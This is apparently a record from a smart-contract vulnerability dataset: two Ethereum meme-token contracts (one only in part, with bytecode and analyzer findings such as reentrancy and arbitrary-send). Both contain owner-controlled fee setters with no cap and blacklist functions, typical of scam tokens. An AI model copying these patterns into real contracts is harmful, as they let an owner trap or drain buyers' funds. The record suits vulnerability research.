address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 9; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 10_000_001 * 10**9; _maxHeldTokens = 40_000_004 * 10**9; } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610579578063dcb0e0ad1461058e578063dd62ed3e146105ae578063e8078d94146105f457600080fd5b8063a9059cbb14610519578063b2131f7d14610539578063c3c8cd801461054f578063c9567bf91461056457600080fd5b8063715018a6116100d1578063715018a61461048d5780638da5cb5b146104a257806394b8d8f2146104c057806395d89b41146104e057600080fd5b80635090161714610422578063590f897e146104425780636fc3eaec1461045857806370a082311461046d57600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103ac57806340b9a54b146103cc57806345596e2e146103e257806349bd5a5e1461040257600080fd5b806327f3a72a14610322578063313ce5671461033757806332d873d81461035e578063367c55441461037457600080fd5b80630b78f9c0116101b65780630b78f9c0146102b757806318160ddd146102d75780631940d020146102ec57806323b872dd1461030257600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f614610265578063095ea7b31461028757600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102586040518060400160405280601081526020016f4561737465722042756e6e7920496e7560801b81525081565b604051610213919061195b565b34801561027157600080fd5b506102856102803660046119c5565b610609565b005b34801561029357600080fd5b506102a76102a23660046119e2565b61067e565b6040519015158152602001610213565b3480156102c357600080fd5b506102856102d2366004611a0e565b610695565b3480156102e357600080fd5b506102096106fc565b3480156102f857600080fd5b50610209600e5481565b34801561030e57600080fd5b506102a761031d366004611a30565b61071d565b34801561032e57600080fd5b50610209610805565b34801561034357600080fd5b5061034c600981565b60405160ff9091168152602001610213565b34801561036a57600080fd5b50610209600f5481565b34801561038057600080fd5b50600854610394906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103b857600080fd5b50600754610394906001600160a01b031681565b3480156103d857600080fd5b50610209600a5481565b3480156103ee57600080fd5b506102856103fd366004611a71565b610810565b34801561040e57600080fd5b50600954610394906001600160a01b031681565b34801561042e57600080fd5b5061028561043d3660046119c5565b6108aa565b34801561044e57600080fd5b50610209600b5481565b34801561046457600080fd5b50610285610918565b34801561047957600080fd5b506102096104883660046119c5565b610945565b34801561049957600080fd5b50610285610960565b3480156104ae57600080fd5b506000546001600160a01b0316610394565b3480156104cc57600080fd5b506010546102a79062010000900460ff1681565b3480156104ec57600080fd5b506102586040518060400160405280600d81526020016c0f09f90b04542494e55f09f90b609c1b81525081565b34801561052557600080fd5b506102a76105343660046119e2565b6109d4565b34801561054557600080fd5b50610209600c5481565b34801561055b57600080fd5b506102856109e1565b34801561057057600080fd5b50610285610a17565b34801561058557600080fd5b50610209610ab7565b34801561059a57600080fd5b506102856105a9366004611a98565b610acf565b3480156105ba57600080fd5b506102096105c9366004611ab5565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561060057600080fd5b50610285610b42565b6007546001600160a01b0316336001600160a01b03161461062957600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061068b338484610e9d565b5060015b92915050565b6007546001600160a01b0316336001600160a01b0316146106b557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061070a6009600a611be8565b61071890633b9aca00611bf7565b905090565b60105460009060ff16801561074b57506001600160a01b03831660009081526004602052604090205460ff16155b801561076457506009546001600160a01b038581169116145b156107b3576001600160a01b03831632146107b35760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107be848484610fc1565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107ed908490611c16565b90506107fa853383610e9d565b506001949350505050565b600061071830610945565b6007546001600160a01b0316336001600160a01b03161461083057600080fd5b600081116108755760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107aa565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610673565b6008546001600160a01b0316336001600160a01b0316146108ca57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610673565b6007546001600160a01b0316336001600160a01b03161461093857600080fd5b47610942816115ba565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461098a5760405162461bcd60e51b81526004016107aa90611c2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061068b338484610fc1565b6007546001600160a01b0316336001600160a01b031614610a0157600080fd5b6000610a0c30610945565b90506109428161163f565b6000546001600160a01b03163314610a415760405162461bcd60e51b81526004016107aa90611c2d565b60105460ff1615610a8e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107aa565b6010805460ff1916600117905542600f55662386f2ab5bca00600d55668e1bcaad6f2800600e55565b600954600090610718906001600160a01b0316610945565b6007546001600160a01b0316336001600160a01b031614610aef57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610673565b6000546001600160a01b03163314610b6c5760405162461bcd60e51b81526004016107aa90611c2d565b60105460ff1615610bb95760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107aa565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610c063082610bf36009600a611be8565b610c0190633b9aca00611bf7565b610e9d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c689190611c62565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd99190611c62565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4a9190611c62565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d7a81610945565b600080610d8f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610df7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e1c9190611c7f565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e999190611cad565b5050565b6001600160a01b038316610eff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107aa565b6001600160a01b038216610f605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107aa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107aa565b6001600160a01b0382166110875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107aa565b600081116110e95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107aa565b600080546001600160a01b0385811691161480159061111657506000546001600160a01b03848116911614155b1561155b576009546001600160a01b03858116911614801561114657506006546001600160a01b03848116911614155b801561116b57506001600160a01b03831660009081526004602052604090205460ff16155b156113f75760105460ff166111c25760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107aa565b600f5442036112015760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107aa565b42600f54610e106112129190611cca565b111561128c57600e5461122484610945565b61122e9084611cca565b111561128c5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107aa565b6001600160a01b03831660009081526005602052604090206001015460ff166112f4576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786113049190611cca565b11156113d857600d5482111561135c5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107aa565b61136742601e611cca565b6001600160a01b038416600090815260056020526040902054106113d85760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107aa565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff16158015611411575060105460ff165b801561142b57506009546001600160a01b03858116911614155b1561155b5761143b42600f611cca565b6001600160a01b038516600090815260056020526040902054106114ad5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107aa565b60006114b830610945565b905080156115445760105462010000900460ff161561153b57600c54600954606491906114ed906001600160a01b0316610945565b6114f79190611bf7565b6115019190611ce2565b81111561153b57600c5460095460649190611524906001600160a01b0316610945565b61152e9190611bf7565b6115389190611ce2565b90505b6115448161163f565b47801561155457611554476115ba565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061159d57506001600160a01b03841660009081526004602052604090205460ff165b156115a6575060005b6115b385858584866117b3565b5050505050565b6007546001600160a01b03166108fc6115d4600284611ce2565b6040518115909202916000818181858888f193505050501580156115fc573d6000803e3d6000fd5b506008546001600160a01b03166108fc611617600284611ce2565b6040518115909202916000818181858888f19350505050158015610e99573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061168357611683611d04565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117009190611c62565b8160018151811061171357611713611d04565b6001600160a01b0392831660209182029290920101526006546117399130911684610e9d565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611772908590600090869030904290600401611d1a565b600060405180830381600087803b15801561178c57600080fd5b505af11580156117a0573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006117bf83836117d5565b90506117cd8686868461181c565b505050505050565b60008083156118155782156117ed5750600a54611815565b50600b54600f5461180090610384611cca565b42101561181557611812600982611cca565b90505b9392505050565b60008061182984846118f9565b6001600160a01b0388166000908152600260205260409020549193509150611852908590611c16565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611882908390611cca565b6001600160a01b0386166000908152600260205260409020556118a48161192d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118e991815260200190565b60405180910390a3505050505050565b6000808060646119098587611bf7565b6119139190611ce2565b905060006119218287611c16565b96919550909350505050565b30600090815260026020526040902054611948908290611cca565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156119885785810183015185820160400152820161196c565b8181111561199a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461094257600080fd5b6000602082840312156119d757600080fd5b8135611815816119b0565b600080604083850312156119f557600080fd5b8235611a00816119b0565b946020939093013593505050565b60008060408385031215611a2157600080fd5b50508035926020909101359150565b600080600060608486031215611a4557600080fd5b8335611a50816119b0565b92506020840135611a60816119b0565b929592945050506040919091013590565b600060208284031215611a8357600080fd5b5035919050565b801515811461094257600080fd5b600060208284031215611aaa57600080fd5b813561181581611a8a565b60008060408385031215611ac857600080fd5b8235611ad3816119b0565b91506020830135611ae3816119b0565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b3f578160001904821115611b2557611b25611aee565b80851615611b3257918102915b93841c9390800290611b09565b509250929050565b600082611b565750600161068f565b81611b635750600061068f565b8160018114611b795760028114611b8357611b9f565b600191505061068f565b60ff841115611b9457611b94611aee565b50506001821b61068f565b5060208310610133831016604e8410600b8410161715611bc2575081810a61068f565b611bcc8383611b04565b8060001904821115611be057611be0611aee565b029392505050565b600061181560ff841683611b47565b6000816000190483118215151615611c1157611c11611aee565b500290565b600082821015611c2857611c28611aee565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c7457600080fd5b8151611815816119b0565b600080600060608486031215611c9457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cbf57600080fd5b815161181581611a8a565b60008219821115611cdd57611cdd611aee565b500190565b600082611cff57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d6a5784516001600160a01b031683529383019391830191600101611d45565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207da69ca03e8c5268a690b9370cc3eca1ff3b381b6b0805a4cbfeb23be89d5aca64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,760
0x12ee2fff78f3f67b4e3ff145f7b9f9a450b36f25
/** *Submitted for verification at Etherscan.io on 2022-02-13 */ /** */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KANYE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "KANYE INU";// string private constant _symbol = "KANYE";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 3;// uint256 private _taxFeeOnBuy = 7;// //Sell Fee uint256 private _redisFeeOnSell = 3;// uint256 private _taxFeeOnSell = 15;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x3466372E6326e0B74FF6c558Ee524740B713a597);// address payable private _marketingAddress = payable(0x3466372E6326e0B74FF6c558Ee524740B713a597);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; // uint256 public _maxWalletSize = 30000000 * 10**9; // uint256 public _swapTokensAtAmount = 1500000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
